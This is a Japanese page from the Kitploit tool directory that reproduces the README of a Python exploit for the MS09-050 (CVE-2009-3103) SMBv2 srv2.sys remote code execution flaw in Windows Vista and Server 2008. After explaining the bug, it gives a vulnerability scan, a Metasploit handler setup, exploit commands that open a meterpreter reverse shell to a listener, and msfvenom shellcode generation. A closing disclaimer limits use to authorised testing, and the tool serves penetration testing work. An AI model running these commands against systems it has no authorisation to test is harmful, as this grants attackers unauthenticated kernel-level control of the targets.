Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
MS09-050 — MS09-050(CVE-2009-3103)SMBv2 srv2.sys バッファオーバーフローに対するPythonエクスプロイト。脆弱性スキャナー、アーキテクチャ自動検出、x86/x64リバースシェルペイロードを備える。 | Kitploit
ツール/GitHubGitHub/bytejmp/ms09-050
脆弱性スキャナーペイロード生成エクスプロイトシェルコード情報収集ポストエクスプロイトネットワークセキュリティペネトレーションテストレッドチーミングリモートアクセスツール
GitHubbytejmp/ms09-050

MS09-050

13時間56分前未レビュー

MS09-050(CVE-2009-3103)SMBv2 srv2.sys バッファオーバーフローに対するPythonエクスプロイト。脆弱性スキャナー、アーキテクチャ自動検出、x86/x64リバースシェルペイロードを備える。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MS09-050 — SMBv2 リモートコード実行エクスプロイト

CVE-2009-3103

脆弱性

Windows Vista および Server 2008 では、新しいカーネルドライバ srv2.sys を備えた SMBv2 が導入されました。このドライバは、SMB ネゴシエート要求内の Process Id High フィールドを検証できません。このフィールドに細工された値を送信することで、攻撃者は srv2.sys に制御された値で関数ポインタテーブルをインデックスさせ、攻撃者が指定したアドレスを逆参照させることができます。

その結果、認証不要でカーネルコンテキストでの任意コード実行が可能になります。攻撃者はポート 445 に到達できれば十分です。

Microsoft は 2009 年 10 月にこの脆弱性を修正しました (KB975517)。未パッチの Vista SP1/SP2 または Server 2008 SP1 システムはすべて脆弱です。

影響を受けるシステム

対象 OSアーキテクチャ
Windows Vista SP1x86
Windows Vista SP2x86 / x64
Windows Server 2008 SP1x86 / x64
Windows Server 2008 SP1 (pre-R2)x64

機能

  • スキャナモジュール: SMB ネゴシエーションを介して対象 OS とアーキテクチャをフィンガープリントし、脆弱性の状態を報告します
  • アーキテクチャの自動検出: スキャナがアーキテクチャ情報を直接エクスプロイトに渡すため、手動での推測は不要です
  • 組み込みペイロード: x86 用の meterpreter/reverse_tcp ステージャを搭載し、multi/handler ですぐに使用できます
  • msfvenom 統合: msfvenom を介して任意のアーキテクチャ用の任意のペイロードを生成でき、オプションの --msf-payload でカスタムペイロードを選択できます
  • カスタムシェルコードのサポート: 任意の raw シェルコードファイルを読み込みます (-s)
  • 構造化出力: [+] 成功、[-] エラー、[!] 警告、[*] 情報

インストール

root@kitploit:~
git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

要件:

  • Python 3.6+
  • rpcclient (smbclient パッケージに含まれる)、インジェクション後にペイロードをトリガーするために使用します
  • msfvenom、--msfvenom フラグを使用する場合にのみ必要です

Debian/Ubuntu の場合:

root@kitploit:~
sudo apt install smbclient

Arch Linux の場合:

root@kitploit:~
sudo pacman -S smbclient

使用方法

ターゲットのスキャン

root@kitploit:~
python3 MS09.py scan -t 192.168.1.10

出力:

root@kitploit:~
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

組み込みペイロード (x86) でのエクスプロイト

meterpreter/reverse_tcp ステージャを使用します。先にハンドラを起動してください:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

次にエクスプロイトを実行します:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

msfvenom でのエクスプロイト (任意のアーキテクチャ/ペイロード)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

msfvenom でのエクスプロイト (カスタムペイロード)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

カスタムシェルコードファイルでのエクスプロイト

raw シェルコードを一度生成し、msfvenom なしで再利用します:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

次にエクスプロイトに渡します:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

完全なヘルプ

root@kitploit:~
$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

プロジェクト構成

root@kitploit:~
MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery

仕組み

  1. スキャナ が SMB1 Negotiate Protocol Request を送信し、対象 OS のバージョンとアーキテクチャをフィンガープリントします
  2. エクスプロイト が srv2.sys のバッファをオーバーフローさせる不正な SMBv2 ネゴシエート要求を作成します
  3. sysenter フックステージャ を使用して、カーネルコンテキストで最初のコード実行を獲得します
  4. ステージャはユーザーモードに移行し、提供されたシェルコード (リバースシェル) を実行します
  5. rpcclient が SMB 認証試行を開始することで、インジェクションされたコードをトリガーします

参考資料

  • CVE-2009-3103
  • Microsoft Security Bulletin MS09-050
  • SRV2.SYS SMBv2 Vulnerability Analysis

免責事項

このツールは、許可されたペネトレーションテストおよび教育目的でのみ提供されています。

コンピュータシステムへの不正アクセスは、ほとんどの法域において犯罪行為です。このツールをいかなるターゲットに対して使用する前にも、システム所有者から明示的な書面による許可を取得する必要があります。作者は一切の責任を負わず、このソフトウェアによって引き起こされたいかなる誤用や損害についても責任を負いません。

このツールを使用することにより、あなたは以下に同意するものとします:

  • 対象システムをテストするための書面による許可を有していること
  • 正当なセキュリティ評価の範囲内で操作していること
  • 自身の行為に対して全責任を負うこと
  • 適用されるすべての法律および規制を遵守すること

責任を持って使用してください。倫理的にハックしてください。

ツールをダウンロード